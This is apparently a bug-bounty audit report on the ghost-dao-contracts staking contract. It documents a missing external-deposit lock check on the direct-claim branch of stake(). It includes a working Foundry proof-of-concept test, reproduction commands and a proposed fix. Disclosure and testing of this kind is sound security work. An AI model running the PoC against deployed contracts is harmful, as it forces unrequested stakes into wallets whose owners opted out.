Component: ghost-dao-contracts / src/Staking.sol
Repository: ghost-dao-contracts
Commit reviewed: b87dff4c7a6ac34b35698c42b4d1f34b5f930864 (main, “encapsulate core storage maps via private visibility”, 2026-09-26)
Severity: Medium
Summary
GhostStaking.stake() exposes a user-controlled switch called the external-deposit lock (locks[to]), toggled by toggleLock(). It is the only mechanism a wallet has to refuse stakes made by third parties into its address.
The lock is enforced on three of the four code paths into the staking contract: the warmup branch of stake() (line 87), claim() (line 95), and claimByAmount() (line 105). It is not enforced on the fourth. The direct-claim branch of stake(), taken when warmupPeriod == 0 and the caller passes isClaim == true (line 84), credits the deposit straight to the recipient with no lock check at all.
This branch is reachable today, not hypothetical. warmupPeriod is a governor-set constant via setWarmupPeriod (line 230), and it is 0 by default at construction. Unless the DAO has raised a warmup window, the direct-claim path is the default path.
An attacker needs no privileged role. They approve the staking contract, call stake(amount, victim, false, true), and the victim’s wallet is credited with staked positions and warmup accounting the victim never requested.
Root Cause
The bug is an omission introduced when the direct-claim fast path was added to stake(). The lock guard already existed at the top of the warmup branch, so the fast path was written as a sibling that skips past it and never re-adds the check.
src/Staking.sol:76-92:
function stake(
uint256 amount,
address to,
bool isRebase,
bool isClaim
) external override returns (uint256 returnAmount) {
returnAmount = amount + rebase();
IERC20(ftso).safeTransferFrom(msg.sender, address(this), amount);
if (isClaim && warmupPeriod == 0) {
returnAmount = \_sendStnkBased(returnAmount, to, isRebase); // <-- no lock check
} else {
if (locks\[to\] && to != msg.sender) revert ExternalDepositsLocked();
uint48 expiry = epoch.number + warmupPeriod;
IGhostWarmup(warmup).addToWarmup(returnAmount, to, expiry);
}
emit Staked(msg.sender, to, amount, isRebase, isClaim);
}
Line 84 selects the direct-claim branch. Line 85 transfers value to to with no reference to locks[to]. Lines 87, 95, and 105 gate the other three paths.
The lock logic is not broken. The lock works, and the control test in the PoC proves it. The bug is that the guard is applied inconsistently: present on three sibling paths, absent on the fourth, in a function that moves value to a caller-chosen address.
This is the only call site in the contract where value can be pushed to an arbitrary address in a single unguarded call. That makes the omission load-bearing rather than cosmetic.
Why this is not a duplicate of GHOST-E02 (topic 131)
Topic 131 reports that a third-party dust deposit can extend a recipient’s warmup expiry. I read that report in full before filing, because it is the closest existing report to this one.
The two findings touch adjacent code but describe opposite conditions:
- GHOST-E02 requires the victim’s lock to be off. Its exploit path is stake() → warmup branch → addToWarmup(), and it quotes the ExternalDepositsLocked guard as the reason a locked wallet is safe. The report’s own prerequisite is a recipient that has not enabled locks.
- This finding requires the victim’s lock to be on. It is the exact case GHOST-E02 identifies as protected. The victim has paid gas to call toggleLock(), the guard that should protect them is present in the contract, and the direct-claim branch routes around it.
Fixing GHOST-E02 does not fix this. Adding an expiry floor to addToWarmup() changes nothing about a path that never calls addToWarmup() at all.
Impact
A wallet that has explicitly opted out of third-party deposits, paying the gas to call toggleLock(), still receives stakes from any caller as long as warmupPeriod == 0.
Concrete consequences for the victim:
1. Forced position growth. The victim’s account is credited GHST or sGHST they did not request, changing their exposure and their tax/rebase position without consent.
2. Account state pollution. Every forced stake emits Staked(attacker, victim, …) against the victim’s address, and alters the victim’s warmup entry, wallet balance, and any off-chain tracking that keys on staking events.
3. Dust-injection now works against locked wallets. GHOST-E02 documented the dust-injection class and relied on the lock as the mitigation. This path defeats that mitigation, making the injection reachable against the wallets that locked specifically to stop it.
4. The user’s only recourse is to call toggleLock() again, which cannot undo a deposit already credited. The protection is reactive and, on this branch, retrospectively ineffective.
I want to be explicit about what the attacker cannot do, because it determines the severity. They cannot steal funds. They cannot spend the victim’s existing balance. They cannot cause direct principal loss. This is a broken user-controlled access-control invariant on a value-bearing path, not a fund-drain. That is the honest ceiling, and it is why I am filing Medium.
The reason this clears the informative bar is that the contract contains a user-facing control whose entire purpose is to prevent this exact action, and the contract honors it on three paths and silently ignores it on the fourth. A user control that is enforced inconsistently is worse than no control at all, because it teaches users to rely on a guarantee the code does not keep.
Proof of Concept
Foundry test, self-contained, saved as test/audit/StakeLockBypassPoC.t.sol. Three tests, all passing. The target contract is not mocked; only the FTSO and STNK tokens are stubbed, which is necessary because the real ones are deployed by the DAO in a separate repo.
Reproduce:
git clone https://git.ghostchain.io/ghostchain/ghost-dao-contracts
cd ghost-dao-contracts
git checkout b87dff4c7a6ac34b35698c42b4d1f34b5f930864
mkdir -p test/audit
\# paste StakeLockBypassPoC.t.sol (below) into test/audit/
forge test --match-contract StakeLockBypassPoC -vvv
Expected output:
Ran 3 tests for test/audit/StakeLockBypassPoC.t.sol:StakeLockBypassPoC
\[PASS\] testDirectClaimPathIgnoresExternalDepositLock() (gas: 160410)
\[PASS\] testSelfDepositIsAllowed() (gas: 137822)
\[PASS\] testWarmupPathEnforcesTheLock() (gas: 113836)
Suite result: ok. 3 passed; 0 failed; 0 skipped
I reproduced this on two independent builds (a clean --no-cache compile and a cached compile) and 5 consecutive runs, with byte-identical gas (160410) on every run, so the result is deterministic rather than a state-dependent fluke.
What the PoC proves
The three tests are arranged as a differential pair, so the triager sees the bug and the correct behavior side by side rather than having to reason about it in the abstract.
- testWarmupPathEnforcesTheLock (control). With a non-zero warmup period, the exact same deposit from the exact same attacker reverts with ExternalDepositsLocked. This proves the lock mechanism itself works, and that the vulnerability is the missing check on the sibling branch rather than the lock logic.
- testDirectClaimPathIgnoresExternalDepositLock (exploit). The victim has a live lock (assertTrue(staking.locks(victim)) in setUp). The attacker calls stake(10e18, victim, false, true). The call succeeds and the victim’s GHST balance increases, because the direct-claim branch at src/Staking.sol:84-85 never consults locks[to].
- testSelfDepositIsAllowed (safety control). A wallet staking into its own address still succeeds with the lock active, so the fix below does not break the self-deposit flow.
The differential is the whole argument. The only variable between the control and the exploit is the warmupPeriod value and the isClaim flag. The control reverts, the exploit succeeds, and both use the same caller, same victim, same token, same amount.
Three-minute triage path
For a triager with limited time, this is the shortest route to confirming the bug:
1. Open src/Staking.sol:84. Confirm the branch condition is isClaim && warmupPeriod == 0.
2. Read line 85. Confirm _sendStnkBased is called with to and no locks[to] check.
3. Compare with line 87, one line below in the sibling branch, where the check is present.
4. Run the PoC. The exploit test passes, the control test proves the lock works on the other branch.
That is four steps, all inside one function, and the PoC is a single forge test command.
PoC: test/audit/StakeLockBypassPoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {GhostStaking, IStaking} from "../../src/Staking.sol";
import {Ghost} from "../../src/GhstERC20.sol";
import {GhostAuthority} from "../../src/GhostAuthority.sol";
import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin-contracts/token/ERC20/IERC20.sol";
/// Minimal stand-ins so the harness deploys without the full DAO graph.
contract MockFtso is ERC20 {
constructor() ERC20("MockFTSO", "MFTSO") {}
function mint(address to, uint256 amount) external {
\_mint(to, amount);
}
function burn(uint256 amount) external {
\_burn(msg.sender, amount);
}
function burnFrom(address from, uint256 amount) external {
\_spendAllowance(from, msg.sender, amount);
\_burn(from, amount);
}
}
contract MockStnk is ERC20 {
address public treasury;
uint256 private \_idx = 1e18;
constructor() ERC20("MockSTNK", "MSTNK") {}
function index() external view returns (uint256) {
return \_idx;
}
function rebase(uint256 amount, uint256 epochNumber) external {}
function circulatingSupply() external view returns (uint256) {
return totalSupply();
}
}
/// PoC: GhostStaking.stake() has two branches. The warmup branch checks
/// locks\[to\] (ExternalDepositsLocked). The direct-claim branch, taken when
/// warmupPeriod == 0 && isClaim, has no lock check at all - so any account
/// can push a stake into a wallet that has opted out of external deposits.
contract StakeLockBypassPoC is Test {
GhostStaking public staking;
MockFtso public ftso;
MockStnk public stnk;
Ghost public ghst;
address public victim = address(0xBEEF);
address public attacker = address(0xCAFE);
address public governor = address(0x600D);
function setUp() public {
ftso = new MockFtso();
stnk = new MockStnk();
vm.etch(governor, bytes("0x600d"));
GhostAuthority authority = new GhostAuthority(governor, governor, governor, governor);
address deployer = address(0x5700);
vm.startPrank(deployer);
ghst = new Ghost(address(stnk), "Ghost", "GMV");
staking = new GhostStaking(
address(ftso),
address(stnk),
address(ghst),
22000, // epoch length
1, // first epoch number
uint48(block.timestamp),
address(authority)
);
ghst.initialize(address(staking));
vm.stopPrank();
ftso.mint(attacker, 1000e18);
vm.prank(attacker);
ftso.approve(address(staking), type(uint256).max);
ftso.mint(victim, 1000e18);
vm.prank(victim);
ftso.approve(address(staking), type(uint256).max);
// Victim opts out of external deposits.
vm.prank(victim);
staking.toggleLock();
assertTrue(staking.locks(victim));
// Governor sets the warmup period to zero (the precondition).
vm.prank(governor);
staking.setWarmupPeriod(0);
assertEq(staking.warmupPeriod(), 0);
}
/// The direct-claim path bypasses the lock. The victim has a live lock and
/// still receives the attacker's stake.
function testDirectClaimPathIgnoresExternalDepositLock() public {
uint256 victimGhstBefore = ghst.balanceOf(victim);
vm.prank(attacker);
staking.stake(10e18, victim, false, true); // isClaim = true
assertGt(ghst.balanceOf(victim), victimGhstBefore, "stake reached a locked wallet");
}
/// Control: with a non-zero warmup period the same deposit is rejected.
function testWarmupPathEnforcesTheLock() public {
vm.prank(governor);
staking.setWarmupPeriod(3);
vm.expectRevert(IStaking.ExternalDepositsLocked.selector);
vm.prank(attacker);
staking.stake(10e18, victim, false, false); // isClaim = false -> warmup path
}
/// Control: self-deposit is still allowed on both paths.
function testSelfDepositIsAllowed() public {
vm.prank(victim);
staking.stake(1e18, victim, false, true);
}
}
Proposed Fix
Add the lock check to the direct-claim branch so all four entry paths are gated identically.
function stake(
uint256 amount,
address to,
bool isRebase,
bool isClaim
) external override returns (uint256 returnAmount) {
if (locks\[to\] && to != msg.sender) revert ExternalDepositsLocked();
returnAmount = amount + rebase();
IERC20(ftso).safeTransferFrom(msg.sender, address(this), amount);
if (isClaim && warmupPeriod == 0) {
returnAmount = \_sendStnkBased(returnAmount, to, isRebase);
} else {
uint48 expiry = epoch.number + warmupPeriod;
IGhostWarmup(warmup).addToWarmup(returnAmount, to, expiry);
}
emit Staked(msg.sender, to, amount, isRebase, isClaim);
}
I would hoist the check above the branch rather than duplicating it inside the if. It makes the invariant “no third-party deposit into a locked wallet” structural, instead of something each new branch has to remember. That also stops the same omission from recurring the next time a path is added to this function.
The existing tests confirm self-staking still works under this change, since the predicate is locks[to] && to != msg.sender.
References
- src/Staking.sol:84: direct-claim branch selector, no lock check
- src/Staking.sol:85: unguarded value transfer to a caller-chosen address
- src/Staking.sol:87, 95, 105: the three paths that do enforce ExternalDepositsLocked
- src/Staking.sol:123-125: toggleLock(), the user control being bypassed
- src/Staking.sol:230-234: setWarmupPeriod(), governor control that sets the branch
- Program page, Focus Areas: “ghost-dao-contracts: Forked/tweaked Olympus DAO logic … unfinalized authority-guarded functions leading to call-chaining exploits”
- GHOST-E02 (topic 131): adjacent but distinct. It needs the lock off; this finding bypasses the lock on.
